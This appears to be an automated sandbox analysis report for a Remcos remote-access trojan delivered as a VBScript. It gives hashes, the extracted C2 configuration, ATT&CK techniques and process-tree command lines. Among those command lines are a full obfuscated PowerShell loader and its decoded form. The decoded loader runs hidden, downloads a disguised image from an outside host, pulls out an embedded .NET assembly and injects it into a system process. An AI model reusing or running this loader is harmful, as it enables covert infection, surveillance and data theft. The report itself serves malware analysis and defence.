remcos | d99ef4f74f7929ccab7db338318181e2813b7d4e9259a95e6d1a70441e52f4ff

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
11-05-2024 11:43

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Report Analysis Logs

General

Target

sostener.vbs
Size

210KB
MD5

0f8dfb470e4e95aad3aca2bdec3e64ad
SHA1

af0979c4780e47a3f44a428b7f7f839434e0a43b
SHA256

d99ef4f74f7929ccab7db338318181e2813b7d4e9259a95e6d1a70441e52f4ff
SHA512

2aa4ec1dd2fe240754e24efb2c6675d6bb6822cd27ab0c88ffb018c00349e7bdbfb15c3771ba9eb82bc4df3ae452151586abba052b24dcff24bf8944768504e6
SSDEEP

1536:ben2+mzXdnsE+tZsd99CObiFCocEW1aJK66n5yhtW0/5JpWn4c1Ig0BfbUZlu9gn:YEsZsdg9JK6X/vc+g0BfcQ7P8

Score

10^/10

remcos fenix execution rat

Malware Config

Extracted

Family

remcos

Botnet

FENIX

newssssssssssssss.duckdns.org:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-NDSLIH
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 5 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

8 2944 WScript.exe
11 2944 WScript.exe
15 2944 WScript.exe
22 4512 powershell.exe
24 4512 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4512 powershell.exe
1176 powershell.exe

flow	pid	process
8	2944	WScript.exe
11	2944	WScript.exe
15	2944	WScript.exe
22	4512	powershell.exe
24	4512	powershell.exe

pid	process
4512	powershell.exe
1176	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4512 set thread context of 1080 4512 powershell.exe AddInProcess32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

1176 powershell.exe
1176 powershell.exe
4512 powershell.exe
4512 powershell.exe
4512 powershell.exe
4512 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1176 powershell.exe
Token: SeDebugPrivilege 4512 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

AddInProcess32.exe

pid process

1080 AddInProcess32.exe

description	pid	process	target process
PID 4512 set thread context of 1080	4512	powershell.exe	AddInProcess32.exe

pid	process
1176	powershell.exe
1176	powershell.exe
4512	powershell.exe
4512	powershell.exe
4512	powershell.exe
4512	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1176	powershell.exe
Token: SeDebugPrivilege	4512	powershell.exe

pid	process
1080	AddInProcess32.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 2944 wrote to memory of 1176	2944	WScript.exe	powershell.exe
PID 2944 wrote to memory of 1176	2944	WScript.exe	powershell.exe
PID 1176 wrote to memory of 4512	1176	powershell.exe	powershell.exe
PID 1176 wrote to memory of 4512	1176	powershell.exe	powershell.exe
PID 4512 wrote to memory of 4852	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 4852	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 4852	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 1080	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 1080	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 1080	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 1080	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 1080	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 1080	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 1080	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 1080	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 1080	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 1080	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 1080	4512	powershell.exe	AddInProcess32.exe
PID 4512 wrote to memory of 1080	4512	powershell.exe	AddInProcess32.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2944

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTreZDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBEDgTreGEDgTredDgTreBhDgTreCDgTreDgTrePQDgTregDgTreEDgTreDgTreKDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHMDgTreaDgTreB1DgTreGYDgTreZgBsDgTreGUDgTreZDgTreBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB8DgTreCDgTreDgTreRwBlDgTreHQDgTreLQBSDgTreGEDgTrebgBkDgTreG8DgTrebQDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBkDgTreG8DgTredwBuDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEQDgTreYQB0DgTreGEDgTreIDgTreB9DgTreDsDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBDgTreDgTreCgDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTresDgTreCDgTreDgTreJwBoDgTreHQDgTredDgTreBwDgTreHMDgTreOgDgTrevDgTreC8DgTredQBwDgTreGwDgTrebwBhDgTreGQDgTreZDgTreBlDgTreGkDgTrebQBhDgTreGcDgTreZQBuDgTreHMDgTreLgBjDgTreG8DgTrebQDgTreuDgTreGIDgTrecgDgTrevDgTreGkDgTrebQBhDgTreGcDgTreZQBzDgTreC8DgTreMDgTreDgTrewDgTreDQDgTreLwDgTre3DgTreDcDgTreMwDgTrevDgTreDcDgTreOQDgTre3DgTreC8DgTrebwByDgTreGkDgTreZwBpDgTreG4DgTreYQBsDgTreC8DgTrebgBlDgTreHcDgTreXwBpDgTreG0DgTreYQBnDgTreGUDgTreLgBqDgTreHDgTreDgTreZwDgTre/DgTreDEDgTreNwDgTrexDgTreDMDgTreODgTreDgTre4DgTreDIDgTreMDgTreDgTreyDgTreDkDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreDDgTreDgTreLwBjDgTreEEDgTreYwBSDgTreGEDgTreLwBkDgTreC8DgTreZQBlDgTreC4DgTreZQB0DgTreHMDgTreYQBwDgTreC8DgTreLwDgTre6DgTreHMDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCwDgTreJwBBDgTreGQDgTreZDgTreBJDgTreG4DgTreUDgTreByDgTreG8DgTreYwBlDgTreHMDgTrecwDgTrezDgTreDIDgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1176

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $downloadedData = @(); $shuffledLinks = $links | Get-Random -Count $links.Length; foreach ($link in $shuffledLinks) { try { $downloadedData += $webClient.DownloadData($link) } catch { continue } }; return $downloadedData }; $links = @('https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029', 'https://uploaddeimagens.com.br/images/004/773/797/original/new_image.jpg?1713882029'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('0/cAcRa/d/ee.etsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32',''))} }"
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4512

C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
4⤵
PID:4852

C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe
"C:\Windows\Microsoft.Net\Framework\v4.0.30319\AddInProcess32.exe"
4⤵
- Suspicious use of SetWindowsHookEx
PID:1080

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\ProgramData\remcos\registros.dat
Filesize
144B

MD5
407057db598934720788542384bd86b0

SHA1
88acae276f46da90da7a1524f5550660ef678437

SHA256
2a86015d206adc73d36d24ad18d2e5c133b2781767f444df468339d58a409872

SHA512
9e3bb4ecceebbcd9893b6d2a6515b566d069f8a1aad3f0af9560e4bd35cb897140aeed1745b69543533be2f5823be9519b84292db411806e64ffdae10c35ee6b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zy4sfk2a.5wl.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1080-78-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-52-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-127-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-125-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-124-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-122-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-44-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-46-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-47-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-49-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-79-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-53-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-55-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-56-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-57-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-60-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-61-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-63-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-64-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-81-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-67-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-69-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-71-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-73-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-90-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-121-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-66-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-82-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-84-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-85-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-87-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-88-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-32-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-91-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-93-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-94-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-96-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-97-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-99-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-100-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-102-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-103-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-105-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-106-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-107-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-108-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-110-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-111-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1080-113-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
